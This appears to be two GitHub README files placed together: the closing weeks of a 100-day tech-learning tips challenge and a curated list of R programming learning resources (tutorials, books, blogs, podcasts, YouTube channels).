| 69 | Data Science Book | [Here](https://datascience-book.gitlab.io/book.html) is a free book to learn Julia Programming, Math & Data Science from Scratch. |
| 70 | Almost There | Guess what? We've completed 70% of the 100 Days Learning Challenge. Now, that's something!|
## Week 11
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 71 | Data Structures and Algorithms Video | Learn and master the most common data structures, step by step from beginner to advanced level, in this full course from a Google engineer: https://www.youtube.com/watch?v=RBSGKlAvoiM&t=163s. |
| 72 | Data Visualization in Excel | Enroll in this free course on Udemy and learn Basic Data Visualization in Excel: https://www.udemy.com/course/create-well-designed-excel-graphs/. |
| 73 | SQL for Data Analysis Course | Here is a free 4-week SQL for Data Analysis course for beginners on Udacity: https://www.udacity.com/course/sql-for-data-analysis--ud198. |
| 74 | UX Design Guide | Here is a great UX Design visual guide that has lessons, reading lists, watchlists, reflections and practice: https://start.uxdesign.cc/.|
| 75 | Cybersecurity Collection | FreeCodeCamp has a collection of free Cybersecurity resources: https://www.freecodecamp.org/news/tag/cybersecurity/. |
| 76 | Git Book | Git plays an important role in the software development lifecycle. Download a free Git ebook: http://git-scm.com/book/en/v2. |
| 77 | Python Cheatsheet | Don't forget all your Python codes. Use this Python cheatsheet as your reference: https://www.pythoncheatsheet.org/.|
## Week 12
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 78 | Data Science Video for Beginners | This video has some of the best tips on how to get started with learning data science: https://www.youtube.com/watch?v=oR670Txwh88. |
| 79 | Google Technical Writing Course | Improve your technical writing skills by taking one of Google's free technical writing courses. Thousands of Google software engineers have taken and loved these courses: https://developers.google.com/tech-writing/announcements. |
| 80 | Machine Learning for Cybersecurity | This is a curated list of awesome tools and resources related to the use of machine learning for cybersecurity: https://github.com/jivoi/awesome-ml-for-cybersecurity. |
| 81 | Beginner's Guide to React | Here is a beginner's guide to learning React: https://www.youtube.com/watch?v=nTeuhbP7wdE. |
| 82 | Beginner's Guide to TypeScript | This is freeCodeCamp's ultimate guide to learning Typescript for beginners: https://www.freecodecamp.org/news/learn-typescript-beginners-guide/. |
| 83 | Website Icons | Find a variety of icons for your website on https://icons8.com/, https://iconmonstr.com/ and https://thenounproject.com/. |
| 84 | Algorithms for Decision Making Book | Get this free ebook titled Algorithms for Decision Making from MIT: https://www.datasciencecentral.com/algorithms-for-decision-making-excellent-free-download-book-from/. |
## Week 13
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 85 | People Are Watching | Share your tech journey online; people are watching and guess what? People have opportunities. |
| 86 | ML for Beginners | Microsoft provides a 12-week, 26-lesson curriculum all about Machine Learning for Beginners: https://github.com/microsoft/ML-For-Beginners. |
| 87 | Virtual Work Experience | Get access to bite-sized 5-6 hour virtual work experience programs for a career advantage with Fortune 500 companies at https://www.theforage.com/. |
| 88 | UX Research Resources | UX Researcher Career Guides, Tools, and Resources by UX Researchers from top companies: https://docs.google.com/spreadsheets/d/1yIjUR0_9HhjuaBOVZsq4rV1EXKtN63BxhHv8vPT999w/edit#gid=254454425. |
| 89 | Code Snippets | Create code snippet images using https://ray.so/. |
| 90 | Non-tech Background to Tech | If you're transitioning into tech from a non-tech background, I recommend you read this article: https://medium.com/@ivybarley/breaking-into-tech-from-a-non-tech-background-146e61645910. |
| 91 | GitHub Profile Landing Page | Create a beautiful landing page for your GitHub profile using this resource: https://yushi95.medium.com/how-to-create-a-beautiful-readme-for-your-github-profile-36957caa711c.|
## Week 14
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 92 | React Docs | Looking for resources to learn React? This docs manager has many free resources, including how to create a React app: https://forthright-tech.notion.site/forthright-tech/Docs-Manager-Demo-6531d9b1f62d41e891f09bef3d8919da. |
| 93 | Algorithms Course | Learn Algorithms for free on Coursera. Part I covers elementary data structures, sorting, and searching algorithms: https://www.coursera.org/learn/algorithms-part1. |
| 94 | Web3 | Interested in Web3? https://www.learnweb3.io/ has tons of free resources to learn DAOs, DeFi, Smart Contracts and NFTs. You can also join their Discord server where you can connect with the Web3 community and participate in hackathons and events. |
| 95 | Expand your Network on LinkedIn and Twitter | Aim to connect to people on LinkedIn and Twitter who are on the same learning journey as you, work in the companies you aspire to work at or are thought leaders in your areas of interest. Remember your network is your net-worth. |
| 96 | Job Search Tracker | If you are searching for an internship, freelance, part-time or full-time role, this is a Notion template to save, keep track, and add notes for each opportunity you’re exploring: https://joeyabanks.notion.site/joeyabanks/5ac723108369496b835814aa3fbed818. |
| 97 | Accessibility Checker | As you plan, design and build products, do you have people with disabilities in mind? Here is a free tool by Microsoft that tests websites and mobile apps for accessibility errors and provides recommendations to fix them: https://accessibilityinsights.io/. Are you committed to building inclusive software? |
## Week 15
| Day | Theme | Tip |
| :------------- | :---------- | :----------- |
| 98 | Add New Skills to LinkedIn | As you have spent time gaining these skills, you may want to update your LinkedIn profile with your newly acquired skills and ask people who are familiar with your skills to endorse you for them on LinkedIn. You can also take assessments for these skills directly on LinkedIn. If you score in the top 30%, LinkedIn will display your badge on your profile. |
| 99 | Reflect on Your Journey | With only a day left to the end of the Challenge, today is a good day to reflect on your learning journey so far. What worked for you or didn't? What did you learn? What challenges did you face? Did you meet any new people? What's next with your tech journey? Carve out some time today to think through these questions, reflect and decide on your next steps beyond this Challenge.|
| 100 | You Made It | Congrats on completing the #100DaysChallenge! 🎉 This isn't the end but only the beginning. Learning never stops. Keep at it. You got this and you belong in tech. |
Let's connect on [Twitter](https://twitter.com/ivybarley).
|
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<div>
<a href=https://www.r-project.org/about.html><img width="400" id="im" src=https://user-images.githubusercontent.com/64165327/95934136-26177f00-0d9e-11eb-8bdc-748ee65ad17a.png></a>
</div>
<a href="https://awesome.re">
<img src="https://awesome.re/badge-flat2.svg" alt="Awesome"></a>
</div>
<br>
> The `Awesome R Learning Resources` repository is meant to help users from all skill levels and backgrounds deepen their understanding of `R`, which is a programming language and environment for statistical computing and graphics.
<br>
> The `R` `Discord` server is a friendly and dedicated community for `R` enthusiasts, programmers, statisticians, data scientists, and students. Whether you are looking to connect with fellow useRs, have awesome data viz to share, or just needed help with your stats assignment, you are at the right place!
<div align="center">
To join the R Discord server, please click the discoRd badge below. <br>
<a href="https://discord.gg/6fcReuUHgg">
<img alt="Discord" src="https://img.shields.io/discord/676433858782298142?label=discoRd%20server&logo=R&logoColor=blue"></a>
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Black Lives Matter.
<br>
Please consider donating to [Black Girls Code](https://www.blackgirlscode.com/donations.html) today.
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<br>
The racism and hate crimes toward Asian Americans must end.
<br>
Please consider making a [donation in support of Asian communites](https://nymag.com/strategist/article/where-to-donate-to-help-asian-communities-2021.html) today.
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</div>
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[](https://twitter.com/intent/tweet?text=Wow:&url=https%3A%2F%2Fgithub.com%2Fiamericfletcher%2FR-Learning-Resources)
## **Contents**
- [Topic Areas](#topic-areas)
- [Blogs](#blogs)
- [Books](#books)
- [Communities of Practice](#communities-of-practice)
- [Podcasts](#podcasts)
- [YouTube](#youtube)
## Topic Areas
### Comprehensive R Tutorials
- [Data Flair](https://data-flair.training/blogs/r-tutorials-home/) - The tutorials are grouped by skill level (beginner, intermediate, expert).
- [Intro to R course by Fabio Votta - part 1](https://colab.research.google.com/drive/1dLsdGbkvgn1JbWgsy9Z-pFmPd_2MG4Xu?usp=sharing#scrollTo=vGnW7giO9AeD) - A fun introduction to R programming grouped into categories (operators, objects, functions, exercises, and data frames).
- [Intro to R course by Fabio Votta - part 2](https://colab.research.google.com/drive/14CRElnKewnp5MnlxhqVu6OOcIXd-Bkaj?usp=sharing) - A fun introduction to R programming grouped into categories (data manipulation and cleaning featuring the janitor, tidyr, and dplyr packages).
- [R CODER](https://r-coder.com) - The tutorials are grouped into categories (introduction, data structures, data wrangling, programming, import & export, graphics) that cover in-depth all the basic needs for someone starting learning the R programming language.
- [Tutorials Point](https://www.tutorialspoint.com/r/index.htm) - The tutorials are grouped into categories (R tutorial, R Data Interfaces, R Charts & Graphs, R Statistics Examples, R Useful Resources) that cover in-depth all the basic needs for someone starting learning the R programming language.
### Functions
- [stat.berkeley - Introduction to Functions](https://www.stat.berkeley.edu/~statcur/Workshop2/Presentations/functions.pdf) - An introduction to functions in the R language by the organizers of Integrating Computing into the Statistics Curricula (U.C. Berkeley).
### Generative Art
- [12 Months of aRt](https://www.williamrchase.com/work/art/) - In 2019, William Chase began a project to make a new series of artwork every month made entirely with R. In this project, he explored different techniques, developed algorithms, and provided detailed posts detailing the development process for each month.
### Joining Data
- [Joining Data in R with dplyr](https://rpubs.com/williamsurles/293454) - Course notes from the Joining Data in R with dplyr course on DataCamp. Topics include mutating joins, filtering joins and set operations, assembling data, advanced joining. Author: William Surles.
### Math
- [Descriptive Statistics](https://rcompanion.org/handbook/C_02.html) - A tutorial of descriptive statistics which are used to summarize data in a way that provides insight into the information contained in the data. Author: Salvatore S. Mangiafico.
- [Descriptive statistics in R](https://statsandr.com/blog/descriptive-statistics-in-r/) - This article explains how to compute the main descriptive statistics in R and how to present them graphically. Author - Antoine Soetewey.
- [Essential Math for Data Science](https://medium.com/s/story/essential-math-for-data-science-why-and-how-e88271367fbd) - An article discussing the key mathematical topics to master to become a better data scientist. Author: Tirthajyoti Sarkar.
- [Gallery of Statistical Distributions](https://www.itl.nist.gov/div898/handbook/eda/section3/eda366.htm) - Author: NIST/SEMATECH.
- [Plotting distributions (ggplot2)](http://www.cookbook-r.com/Graphs/Plotting_distributions_(ggplot2)/) - A tutorial for plotting a distribution of data. Author: Winston Chang.
### Shiny
- [Awesome R Shiny](https://github.com/grabear/awesome-rshiny) - A curated list of resources for R Shiny. Author: Rob Gilmore.
- [Building Shiny Applications with R Tutorial (Deprecated)](https://rstudio.github.io/shiny/tutorial/#) - Introductory tutorial to Shiny. Note, this tutorial is deprecated. Author: RStudio.
- [Building Shiny apps - an interactive tutorial](https://deanattali.com/blog/building-shiny-apps-tutorial/) - This tutorial is a hands-on activity complement to a set of [presentation slides](https://docs.google.com/presentation/d/1dXhqqsD7dPOOdcC5Y7RW--dEU7UfU52qlb0YD3kKeLw/edit) for learning how to build Shiny apps. Author: Dean Attali.
- [How to Start with Shiny](https://vimeo.com/rstudioinc/review/131218530/212d8a5a7a) - Detailed introductory video tutorial. Author: Garrett Grolemund.
- [Learn Shiny](https://shiny.rstudio.com/tutorial/) - The video and written tutorials on this page are primarily designed for users who are new to Shiny and want a guided introduction. Author: RStudio.
- [Shiny Articles](https://shiny.rstudio.com/articles/) - Various articles covering individual Shiny topics at a more advanced level. Author: RStudio.
### Spatial
- [An Introduction to Choropleth maps in R](https://rstudio-pubs-static.s3.amazonaws.com/324400_69a673183ba449e9af4011b1eeb456b9.html) - Author: Henry Cann.
- [Getting latitude & longitude for any address](https://discourse.looker.com/t/get-latitude-longitude-for-any-location-through-google-sheets-and-plot-these-in-looker/5402) - Author: Brecht Vermeire.
- [Map Plots Created With R And Ggmap](https://www.littlemissdata.com/blog/maps) - Author: Laura Ellis.
- [Plot Spatial Data / Shapefiles in R](https://www.youtube.com/watch?v=uZtto0cYjZM) - From the "math et al" YouTube channel.
### Viz
- [A ggplot2 Tutorial for Beautiful Plotting in R](https://cedricscherer.netlify.app/2019/08/05/a-ggplot2-tutorial-for-beautiful-plotting-in-r/) - A comprehensive and easy to follow tutorial that covers working with axes, titles, legends, backgrounds, grid lines, margins, multi-panel plots, colors, themes, lines, text, coordinates, chart types, ribbons, smoothings, and interactive plots. Author: Cédric Scherer.
- [Awesome ggplot2](https://github.com/erikgahner/awesome-ggplot2) - A curated list of awesome ggplot2 tutorials, packages etc. Author: Erik Gahner Larsen.
- [Chart Suggestions — A thought-starter on choosing the way to show your data](https://extremepresentation.typepad.com/files/choosing-a-good-chart-09.pdf) - Author: Andrew Abela, Ph.D.
- [Color Hex Color Codes](https://www.color-hex.com/) - Author: Color-Hex.
- [Combine Multiple GGPlots into a Figure](https://www.datanovia.com/en/lessons/combine-multiple-ggplots-into-a-figure/) - Author: Alboukadel Kassambara.
- [Coolors](https://coolors.co/) - The super fast color schemes generator! Create the perfect palette or get inspired by thousands of beautiful color schemes. Features include color picker, pick palette from photo, create a collage, make your own gradient palette, create a gradient, contrast checker, etc.
- [From Data to Viz](https://www.data-to-viz.com/) - From Data to Viz leads you to the most appropriate graph for your data. Author: Yan Holtz.
- [ggplot2 extensions - gallery](https://exts.ggplot2.tidyverse.org/gallery/) - Maintained by Daniel Emaasit.
- [ggplot2 - Modify components of a theme](https://ggplot2.tidyverse.org/reference/theme.html) - How to modify components of a theme in ggplot2. Author: the developers of Tidyverse.
- [Graphics in R with ggplot2](https://www.statsandr.com/blog/graphics-in-r-with-ggplot2/) - A detailed guide for the use of graphics within ggplot2. Author: Antoine Soetewey.
- [htmlwidgets for R](https://www.htmlwidgets.org/) - Showcase and gallery of the various interactive web visualizations you can build using R.
- [r-color-palettes](https://github.com/EmilHvitfeldt/r-color-palettes) - Comprehensive list of color palettes available in r. Author: Emil Hvitfeldt.
- [The Data Visualization Catalogue](https://datavizcatalogue.com/index.html) - The Data Visualization Catalogue is a project developed by Severino Ribecca to create a library of different information visualization types.
- [The Graphic Continuum](https://www.informationisbeautifulawards.com/showcase/611-the-graphic-continuum) - The Graphic Continuum shows the many different types of visualizations available to us when we encode and present data. Authors: Jonathan Schwabish, and Severino Ribecca.
- [The R Graph Gallery](https://www.r-graph-gallery.com/) - A collection of charts made with the R programming language. Author: Yan Holtz.
- [Time Based Heatmaps in R](https://www.littlemissdata.com/blog/heatmaps) - Author: Laura Ellis.
- [Top 50 ggplot2 Visualizations - The Master List (With Full R Code)](http://r-statistics.co/Top50-Ggplot2-Visualizations-MasterList-R-Code.html) - This tutorial helps you choose the right type of chart for your specific objectives and how to implement it in R using ggplot2. Author: Selva Prabhakaran.
### Web Scraping
- [Web Scraping Reference: Cheat Sheet for Web Scraping using R](https://github.com/yusuzech/r-web-scraping-cheat-sheet) - Guide, reference and cheatsheet on web scraping using rvest, httr and Rselenium. Author: [yifyan et al.](https://github.com/yusuzech)
### Wrangling
- [Data manipulation in r using data frames - an extensive article of basics](https://www.dataenq.com/2020/08/data-manipulation-in-r-using-data-frame.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+dataenqfeed+%28dataENQ%29) - Author: dataENQ.
- [Data Wrangling Part 1: Basic to Advanced Ways to Select Columns](https://suzan.rbind.io/2018/01/dplyr-tutorial-1/) - Author: Suzan Baert.
- [Data Wrangling Part 2: Transforming your columns into the right shape](https://suzan.rbind.io/2018/02/dplyr-tutorial-2/) - Author: Suzan Baert.
- [Data Wrangling Part 3: Basic and more advanced ways to filter rows](https://suzan.rbind.io/2018/02/dplyr-tutorial-3/) - Author: Suzan Baert.
- [Data Wrangling Part 4: Summarizing and slicing your data](https://suzan.rbind.io/2018/04/dplyr-tutorial-4/) - Author: Suzan Baert.
### Uncategorized
- [Data.Table and Dplyr Tour](https://atrebas.github.io/post/2019-03-03-datatable-dplyr/#reshape-data) - A detailed comparison of R packages data.table and dplyr. Author: Atrebas.
- [data.table: A gentle introduction](https://atrebas.github.io/post/2020-06-17-datatable-introduction/) - A quick introduction to data.table. The main objective is to present the data.table syntax, showing how to perform basic, but essential, data wrangling tasks. Author: Atrebas.
- [Fakir - Create Fake Data in R for Tutorials](https://thinkr-open.github.io/fakir/) - Author: Colin Fay.
- [From base R to stringr](https://stringr.tidyverse.org/articles/from-base.html) - This vignette compares stringr functions to their base R equivalents to help users transitioning from using base R to stringr. Author: Sara Stoudt.
- [Help me help you: creating reproducible examples](https://www.youtube.com/watch?v=5gqksthQ0cM) - Making a great reprex is both an art and a science and this webinar will cover both aspects. A reprex makes a conversation about code more efficient and pleasant for all. This comes up whenever you ask someone for help, report a bug in software, or propose a new feature. The reprex package (https://reprex.Tidyverse.org) makes it especially easy to prepare R code as a reprex, in order to share on sites such as https://community.rstudio.com, https://github.com, or https://stackoverflow.com. Author: Jenny Bryan.
- [R - discoRd server](https://discord.gg/88uG5UVyE2) - Dedicated discoRd server with the following topic-based channels: `R-Main` for more general discussions, `R-Share` for showing off your data visuals, `General R Help` for asking questions and sharing learning resources, and `Topical Help/Discussion` for issues dealing with statistics, dbi, tidymodels, shiny, natural-science, social-science, bayesians, gis, and finance.
- [Subreddit - r/Rlanguage - R Programming Language](https://www.reddit.com/r/Rlanguage/new/) - A Reddit subreddit focused on implementing the R programming language for statistics and data science.
- [Subreddit - r/programming - The R Project for Statistical Computing](https://www.reddit.com/r/rprogramming/) - A Reddit subreddit focused on using R for statistical computing.
- [Syntax equivalents: base R vs Tidyverse](https://tavareshugo.github.io/data_carpentry_extras/base-r_tidyverse_equivalents/base-r_tidyverse_equivalents.html) - A detailed comparison of base R and tidyverse. Author: Hugo Tavares.
- [The ultimate R data.table cheat sheet](https://www.infoworld.com/article/3575086/the-ultimate-r-datatable-cheat-sheet.html) - Find code for dozens of data tasks in this searchable cheat sheet of R data.table and Tidyverse code. Author: Sharon Machlis.
## Blogs
- [Alex Cookson](https://www.alexcookson.com/) - Alex Cookson loves making beautiful visualizations and easy-to-read walkthroughs of R concepts. He's particularly interested in data about media, like books, movies, and musicals.
- [Avery Robbins](https://www.avery-robbins.com) - Avery Robbins loves to learn and to share useful or awesome things that have benefited him personally. This website is a tool for him to actively do just that: share knowledge, ideas, and tips that are helpful.
- [Tony ElHabr](https://tonyelhabr.rbind.io/) - Tony ElHabr is passionate mostly about energy markets and sports analytics. His blog provides detailed tutorials, project explanations, and presentations.
- [Cédric Scherer](https://cedricscherer.netlify.app/) - Cédric Scherer is a computational ecologist by training and a data visualization designer by heart with more than 9 years of hypothesis-driven research experience and strong skills in data wrangling, statistical analysis, model development and data visualization.
- [Data Imaginist](https://www.data-imaginist.com/) - Thomas Lin Pedersen is a data scientist turned software engineer who focuses on improving researchers’ interactions with the data they produce.
- [Data meets Narrative](http://www.rebeccabarter.com/blog/) - Rebecca Barter enjoys making sense of complex, messy and sometimes nonsensical datasets, such as electronic health records, and insurance claims. Her dual passions are explaining “seemingly complicated” concepts to others in plain English, and exploring and uncovering the stories that underlie complex datasets.
- [HighlandR](https://johnmackintosh.net/) - John Mackintosh's blog is a place for him to showcase demonstrations or workshops, notes he's learned at work, chart makeovers, and techniques and technology that he doesn't currently use in his role.
- [Julia Silge](https://juliasilge.com/blog/) - Julia Silge is a data scientist and software engineer at RStudio where she work on open source modeling tools. She is passionate about making beautiful charts, the statistical programming language R, Jane Austen, black coffee, and red wine.
- [Musings on R](https://martinctc.github.io/blog/) - A blog on all things R and Data Science by Martin Chan. Topics covered include comparing dplyr and data.table, Shiny apps, ggplot, data cleaning, using RStudio, interviews with other R users/data scientists, and web scraping.
- [rweekly](https://rweekly.org/about) - Weekly Updates from the Entire R Community by Bruce Zhao, Colin Fay, Eric Nantz, Hao Zhu, Jon Calder, Jonathan Carroll, Maëlle Salmon, Ryo Nakagawara, and Wolfram Qin.
- [r-bloggers](https://www.r-bloggers.com/) - R-Bloggers.com was created by Tal Galili and is a blog aggregator of content contributed by bloggers who write about R (in English). The site helps R bloggers and users to connect and follow the R blogosphere.
- [Ryo Nakagawara](https://ryo-n7.github.io/) - Ryo Nakagawara is a Data Scientist and has been doing work as both a reporting analyst and a software developer in R and SQL to improve ACDI and VOCA data pipelines, create R packages, reproducible reports, dashboards, and Shiny apps to communicate how his projects worldwide are progressing.
- [Statistics Globe](https://statisticsglobe.com/) - Joachim Schork started this platform to share his statistical know-how and to improve his own statistical skills by discussing with other statisticians and programmers.
- [Stats and R](https://www.statsandr.com/) - Through his blog, Antoine Soetewey (PhD in statistics) aims at helping academics and professionals working with data to grasp important statistical concepts, and shows how to apply them in R.
## Books
- [A Sufficient Introduction to R](https://dereksonderegger.github.io/570L/) - This book is intended to guide people that are completely new to programming along a path towards a useful skill level using R. Author: Derek L. Sonderegger.
- [An Introduction to Statistical Learning](http://faculty.marshall.usc.edu/gareth-james/ISL/ISLR%20Seventh%20Printing.pdf) - This book provides an introduction to statistical learning methods. Authors: Gareth James, Daniela Witten, Trevor Hastie and Robert Tibshirani.
- [Advanced R](https://adv-r.hadley.nz/introduction.html) - This book is designed for R programmers who want to deepen their understanding of the language, and programmers experienced in other languages who want to understand what makes R different and special. [Exercise Solutions](https://advanced-r-solutions.rbind.io/) Author: Hadley Wickham.
- [An Introduction to R](https://cran.r-project.org/doc/manuals/r-release/R-intro.pdf) - This introduction to R is derived from an original set of notes describing the S and S-Plus environments written in 1990–2 by Bill Venables and David M. Smith when at the University of Adelaide.
- [Answering Questions with Data](https://crumplab.github.io/statistics/) - This is a free textbook teaching introductory statistics for undergraduates in Psychology. The textbook was written with math-phobia in mind and attempts to reduce the phobia associated with arithmetic computations. Author: Matthew J. C. Crump.
- [Data Science in a Box](https://datasciencebox.org/index.html) - The core content of the course focuses on data acquisition and wrangling, exploratory data analysis, data visualization, inference, modelling, and effective communication of results.
- [Data Science in Education Using R](https://datascienceineducation.com/) - This book is primarily about learning to use R as a tool for data science in education. Authors: Ryan A. Estrellado, Emily A. Bovee, Jesse Mostipak, Joshua M. Rosenberg, and Isabella C. Velásquez.
- [Efficient R programming](https://csgillespie.github.io/efficientR/) - Efficient R Programming is about increasing the amount of work you can do with R in a given amount of time. It’s about both computational and programmer efficiency. Authors: Colin Gillespie, Robin Lovelace.
- [Engineering Production-Grade Shiny Apps](https://engineering-shiny.org/) - This book covers the process of building a Shiny application that will later be sent to production. Authors: Colin Fay, Sébastien Rochette, Vincent Guyader, Cervan Girard.
- [Exploratory Data Analysis with R](https://bookdown.org/rdpeng/exdata/) - This book covers the essential exploratory techniques for summarizing data with R. These techniques are typically applied before formal modeling commences and can help inform the development of more complex statistical models. Author: Roger D. Peng.
- [Forecasting: Principles and Practice](https://otexts.com/fpp3/) - This textbook is intended to provide a comprehensive introduction to forecasting methods and to present enough information about each method for readers to be able to use them sensibly. Authors: Rob J Hyndman and George Athanasopoulos.
- [Geocomputation with R](https://geocompr.robinlovelace.net/) - This book is about using the power of computers to do things with geographic data. It teaches a range of spatial skills, including reading, writing and manipulating geographic data; making static and interactive maps; applying geocomputation to solve real-world problems; and modeling geographic phenomena. Authors: Robin Lovelace, Jakub Nowosad, Jannes Muenchow.
- [ggplot2: Elegant Graphics for Data Analysis](https://ggplot2-book.org/index.html) - This book provides a hands-on introduction to ggplot2 with lots of example code and graphics. It also explains the grammar on which ggplot2 is based. Author: Hadley Wickham.
- [Happy Git and GitHub for the useR](https://happygitwithr.com/) - Happy Git provides opinionated instructions on how to install Git and get it working smoothly with GitHub, in the shell and in the RStudio IDE, develop a few key workflows that cover your most common tasks, and integrate Git and GitHub into your daily work with R and R Markdown. Authors: Jenny Bryan, the STAT 545 TAs, Jim Hester.
- [Introduction to Data Science - Data Analysis and Prediction Algorithms with R](https://rafalab.github.io/dsbook/) - This book started out as the class notes used in the HarvardX Data Science Series. It introduces concepts and skills that can help you tackle real-world data analysis challenges. It covers concepts from probability, statistical inference, linear regression, and machine learning. It also helps you develop skills such as R programming, data wrangling with dplyr, data visualization with ggplot2, algorithm building with caret, file organization with UNIX/Linux shell, version control with Git and GitHub, and reproducible document preparation with knitr and R markdown. Author: Professor Rafael A. Irizarry.
- [Introduction to Probability and Statistics Using R](http://www.atmos.albany.edu/facstaff/timm/ATM315spring14/R/IPSUR.pdf) - The book can be subdivided into three basic parts. The first part includes the introductions and elementary descriptive statistics; I want the students to be knee-deep in data right out of the gate. The second part is the study of probability, which begins at the basics of sets and the equally likely model, journeys past discrete/continuous random variables, and continues through to multivariate distributions. The chapter on sampling distributions paves the way to the third part, which isinferential statistics. This last part includes point and interval estimation, hypothesis testing, and finishes with introductions to selected topics in applied statistics. Author: G. Jay Kerns.
- [Introduction to R & Spatial Data with Raster and Terra](https://rspatial.org/intr/index.html) - This document provides a concise introduction to R. It emphasizes what you need to know to be able to use the language in any context. Author: Professor Robert Hijmans.
- [JavaScript for R](https://book.javascript-for-r.com/) - The ultimate aim of this work is to demonstrate to the reader the many great benefits one can reap by inviting JavaScript into their data science workflow. Author: John Coene.
- [Learning Statistics with R](https://learningstatisticswithr.com/) - Learning Statistics with R covers the contents of an introductory statistics class, as typically taught to undergraduate psychology students, focusing on the use of the R statistical software. Author: Danielle Navarro.
- [Mastering Shiny](https://mastering-shiny.org/) - This is the online version of Mastering Shiny, a book currently under early development and intended for a late 2020 release. This book complements the [Shiny online documentation](https://shiny.rstudio.com/) and is intended to help app authors develop a deeper understanding of Shiny. Author: Hadley Wickham. [Mastering Shiny Exercise solutions](https://mastering-shiny-solutions.org/index.html)
- [Modern R with the tidyverse](https://b-rodrigues.github.io/modern_R/) - The idea of Chapters 1 to 7 is to make you efficient with R as quickly as possible, especially if you already have prior programming knowledge. Starting with Chapter 8 you will learn more advanced topics, especially programming with R. Author: Bruno Rodrigues.
- [Modern Statistics with R](http://www.modernstatisticswithr.com/) - From wrangling and exploring data to inference and predictive modelling. The book includes plenty of examples and more than 200 exercises with worked solutions. Author: Måns Thulin.
- [Practical Data Science with R](https://www.manning.com/books/practical-data-science-with-r-second-edition#toc) - The intent of this book is to present data science from a pragmatic, practice-oriented viewpoint. The book concentrates on the process of data science, from the planning stages of a project, through the data collection and exploration, to the modeling, and finally to deployment and the sharing of results. Authors: Nina Zumel and John Mount.
- [Practical Regression and Anova using R](https://cran.r-project.org/doc/contrib/Faraway-PRA.pdf) - The emphasis of this text is on the practice of regression and analysis of variance. The objective is to learn what methods are available and more importantly, when they should be applied. Author: Julian Faraway.
- [Practicals and Exercises](http://www.columbia.edu/~cjd11/charles_dimaggio/DIRE/resources/R/practicalsBookNoAns.pdf) - This series of exercises reviews some of the content discussed during the author's lectures, and introduces some other basic concepts about working with data in R. Author: Charles DiMaggio, PhD.
- [Quantitative Politics with R](http://qpolr.com/qpolr.pdf) - The aim of this book is to provide an easily accessible introduction to R for the
collection, study and presentation of different types of political data. Authors: Erik Gahner Larsen and Zoltán Fazekas.
- [R Cookbook, 2nd Edition](https://rc2e.com/index.html) - This book is full of how-to recipes, each of which solves a specific problem. The recipe includes a quick introduction to the solution followed by a discussion that aims to unpack the solution and give you some insight into how it works. Authors: James (JD) Long and Paul Teetor.
- [R for Data Science](https://r4ds.had.co.nz/) - This book will teach you how to do data science with R. You will learn how to get your data into R, get it into the most useful structure, transform it, visualize it and model it. [Exercise Solutions](https://jrnold.github.io/r4ds-exercise-solutions/) Authors: Garrett Grolemund and Hadley Wickham.
- [R Packages](http://r-pkgs.had.co.nz/) - In this book you will learn how to turn your code into packages that others can easily download and use. Author: Hadley Wickham.
- [R Programming for Data Science](https://leanpub.com/rprogramming) - This book brings the fundamentals of R programming to you, using the same material developed as part of the industry-leading Johns Hopkins Data Science Specialization. Author: Roger Peng.
- [R Tutorial – Be a Data Science rock star with R](https://data-flair.training/blogs/r-tutorial/) - A tour of the R programming language that explores its different and essential concepts. This R DataFlair Tutorial Series is designed to help beginners to get started with R and experienced to brush up their R programming skills and gain perfection in the language.
- [Statistical Inference via Data Science](https://moderndive.com/) - This is intended to be a gentle introduction to the practice of analyzing data and answering questions using data the way data scientists, statisticians, data journalists, and other researchers would. Authors: Chester Ismay and Albert Y. Kim.
- [Supervised Machine Learning for Text Analysis in R](https://smltar.com/) - This book focuses on supervised or predictive modeling for text, using text data to make predictions about the world around us. Authors: Emil Hvitfeldt and Julia Silge.
- [Text Mining with R](https://www.tidytextmining.com/) - This book serves as an introduction of text mining using the tidytext package and other tidy tools in R. Authors: Julia Silge and David Robinson.
- [The Art of R Programming](http://diytranscriptomics.com/Reading/files/The%20Art%20of%20R%20Programming.pdf) - This book is for those who wish to learn about developing software in R. Author: Norman Matloff.
- [The Book of R](https://web.itu.edu.tr/~tokerem/The_Book_of_R.pdf) - The aim of The Book of R: A First Course in Programming and Statistics is to provide a relatively gentle yet informative exposure to the statistical software environment R, alongside some common statistical analyses, so that readers may have a solid foundation from which to eventually become experts in their own right. [Exercise solutions](https://nostarch.com/bookofr) Author: Tilman M. Davies.
- [The R Inferno](http://www.burns-stat.com/pages/Tutor/R_inferno.pdf) - A book about trouble spots, oddities, traps, and glitches in R. Author: Patrick Burns.
- [The R Language](https://stat.ethz.ch/R-manual/R-patched/doc/html/) - An introduction to R written by the authors of the R language.
- [Tidy Modeling with R](https://www.tmwr.org/) - This book is a guide to using a new collection of software in the R programming language for model building.
## Communities of Practice
> A community of practice is a group of people who share a concern or a passion for something they do and learn how to do it better as they interact regularly.
- [TidyTuesday](https://github.com/rfordatascience/tidytuesday) - TidyTuesday is a weekly data project aimed at the R ecosystem with an emphasis placed on understanding how to summarize and arrange data to make meaningful charts.
- [R for Data Science (R4DS) Online Learning Community](https://www.rfordatasci.com/) - Founded by Jessie Mostipak (@kierisi) to create a supportive and responsive online space for learners and mentors to gather and work through the R for Data Science book by Garrett Grolemund and Hadley Wickham. Grown into a community of R learners at all skill levels working together to improve their skills.
## Podcasts
- [Not so Standard Deviations](http://nssdeviations.com/) - A data science podcast where Roger Peng and Hilary Parker talk about the latest in data science and data analysis in academia and industry.
- [The R-Podcast](https://r-podcast.org/) - Practical advice on how to take advantage of R to accomplish innovative and robust data analyses. Hosted by Eric Nantz.
## YouTube
- [Andrew Couch](https://www.youtube.com/channel/UCnwYO3Sz_emBTC1sTZ6TlsQ) - Topics include modeling, creating functions, dashboards, and forecasting.
- [Ben Stenhaug](https://www.youtube.com/user/benastenhaug/videos) - Topics include saving and reading data, map functions in purrr, t-tests, item response theory, and the basics of R and the tidyverse.
- [Colin Quirk](https://www.youtube.com/channel/UC-vtwz7ueU2dtnHk5e-WblA) - Topics include regular expressions, data types, Shiny, and gganimate.
- [Data Analysis and Visualization Using R](https://www.youtube.com/channel/UClLf9MZuUy89IwGtRHC0RzQ) - Topics for the online course Data Analysis and Visualization Using R.
